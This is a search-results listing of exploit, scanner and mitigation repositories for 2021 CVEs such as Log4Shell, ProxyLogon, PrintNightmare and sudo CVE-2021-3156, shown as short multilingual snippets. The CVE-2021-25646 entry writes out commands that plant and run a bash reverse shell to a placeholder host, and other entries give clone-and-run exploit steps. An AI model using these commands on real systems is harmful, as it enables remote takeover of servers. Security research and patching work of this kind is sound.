109292 matches found
vcenter-log4j
VMware vCenter log4j 缓解措施 根据 VMware KB 文章 编写的用于缓解 VMware vCenter log4j 漏洞 CVE-2021-44228 的脚本。 2021-12-13 02:09 UTC - 添加了安全令牌与身份管理服务 2021-12-13 12:46 UTC - 添加了 PSC Client for 6.5 - 见下文 VMware 已在 KB 文章中发布了一个 Python 脚本。其版本最初的一些初期问题似乎已得到解决。 快速简易方法 SSH 登录 vCenter 运行 shell 粘贴整个 脚本内容 输入 cve，按 Tab 键，然后回车...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd 反弹shell如下： 写入反弹shell脚本 python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" 赋予shell脚本执行权限 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" 执行shell python3 CVE-2021-25646.p...
katana
Katana 一个针对2016年至2019年间发布的高通设备的BootROM漏洞利用工具。 漏洞简要说明...
Laravel-debug-Checker
Laravel-debug-Checker CVE-2021-3129 检测器 作者：./MrMad 参考：https://pentest-tools.com/blog/exploit-rce-vulnerability-laravel-cve-2021-3129 安装模块 root@kitploit: python -m pip install -r requirements.txt 在 Linux 上安装 root@kitploit: git clone https://github.com/MadExploits/Laravel-debug-Checker sudo mv...
cve-2021-33909
Kernel runtime fix of CVE-2021-33909 此仓库构建了一个名为 "cve-2021-33909.ko" 的外部模块。 cve-2021-33909 通过 kprobe-replacing 在运行时替换内核文件系统层中的易受攻击函数，从而修复了其中的问题。 可以通过 "make" 构建，将 KDIR 设置为内核的（源代码/头文件）目录。 可以直接通过 "insmod cve-2021-33909.ko" 加载， 或复制（+depmod）到内核模块目录（extra/），然后通过 "modprobe cve-2021-33909" 加载。 作者：Stephan...
CVE-2021-38295-PoC
CVE-2021-38295-PoC CVE-2021-38295 的一个简单 Python 概念验证。 相关博客文章 博客链接 用法： root@kitploit: Usage: cve-xxxx 只需向脚本提供一个主机、一个你的凭证有权访问的数据库，以及用户名密码对。 如果一切正常，你会得到一个指向恶意附件的 URL。...
CVE-2021-44228
Log4Shell 概念验证 此仓库是 CVE-2021-44228 漏洞的概念验证。 它衍生自此仓库。 在此仓库中，我制作了一个易受攻击的应用程序示例，并演示了如何利用该漏洞。 概念验证组件 我已修改上游 Python 脚本，以自动化生成此漏洞。 此仓库中有两个 Dockerfile，可方便使用，如下所示： Docker-Ldap 在此 Docker 镜像中，我们从我的 Google Drive 下载 java jdk-8u20，因为您需要在 Oracle 上注册账号才能下载。 如果您不信任此来源，可以修改 Dockerfile 中的下载文件，并从此处下载 jdk（确保下载适用于...
vScalation-CVE-2021-22015
vScalation CVE-2021-22015 VMWare vCenter 本地权限提升 Pentera 研究小组在 VMWare 的 vCenter Server 程序中发现了一个漏洞，该漏洞影响全球 500,000 家组织用于管理其最关键系统的 VMWare 软件 我们的发现已主动上报给 VMWare，并以 CVE-2021-22015 发布 补丁和更多信息可在 VMWare 安全公告网站 获取 扫描器 该扫描器旨在检查目标文件是否对 “cis” 组具有写权限，以及该组中是否有任何用户拥有对主机的 shell 访问权限。 有关 CVE-2021-22015...
CVE-2021-26855-CVE-2021-27065
CVE-2021-26855-CVE-2021-27065 分析 ProxyLogo 邮件交换 RCE...
CVE-2021-44228
CVE-2021-44228 Log4Shell 漏洞 CVE-2021-44228 的概念验证...
CVE-2021-3156-SCRIPT
CVE-2021-3156-脚本 git clone https://github.com/binw2018/CVE-2021-3156-SCRIPT.git && cd CVE-2021-3156-SCRIPT && sh Script.sh...
java-insecure-random-cve-2021-27568
java-insecure-random-cve-2021-27568 CVE-2021-27568 演示：令牌生成中的不安全随机性...
CVE-2021-26855-Exchange-RCE
CVE-2021-26855-Exchange-RCE Microsoft Exchange Proxylogon Exploit Chain EXP分析 + CVE-2021–26855 + CVE-2021–27065 复现总结...
cve-2021-1675
〖EXP〗Ladon打印机漏洞提权CVE-2021-1675复现 http://k8gege.org/p/CVE-2021-1675.html 基本情况 6月9日，微软发布6月安全更新补丁，修复了50个安全漏洞，其中包括一个Windows Print Spooler权限提升漏洞，漏洞CVE编号：CVE-2021-1675。未经身份验证的远程攻击者可利用该漏洞以SYSTEM权限在域控制器上执行任意代码，从而获得整个域的控制权。建议受影响用户及时更新漏洞补丁进行防护，做好资产自查以及预防工作，以免遭受黑客攻击。 漏洞描述 Print...
CVE-2021-44228-Log4Shell-
log4j...
westone-CVE-2021-26084-scanner
westone-CVE-2021-26084-scanner 检测 CVE-2021-26084 漏洞的漏洞扫描器。...
westone-CVE-2021-21980-scanner
westone-CVE-2021-21980-scanner VMware vCenter 早期版本（7.0.2.00100）存在未授权任意文件读取 + SSRF + XSS 漏洞 安装与使用 git clone https://github.com/Osyanina/westone-CVE-2021-21980-scanner.git cd westone-CVE-2021-21980-scanner cmd CVE-2021-21980.exe...
CVE-2021-1675-PrintNightmare
CVE-2021-1675-PrintNightmare POC de PowerShell funcional El script de PowerShell está copiado de https://github.com/calebstewart/CVE-2021-1675 Créditos para Caleb Stewart y John Hammond. Solo quería tener un POC funcional a mano. He añadido mi DLL personalizada y una versión ofuscada del script d...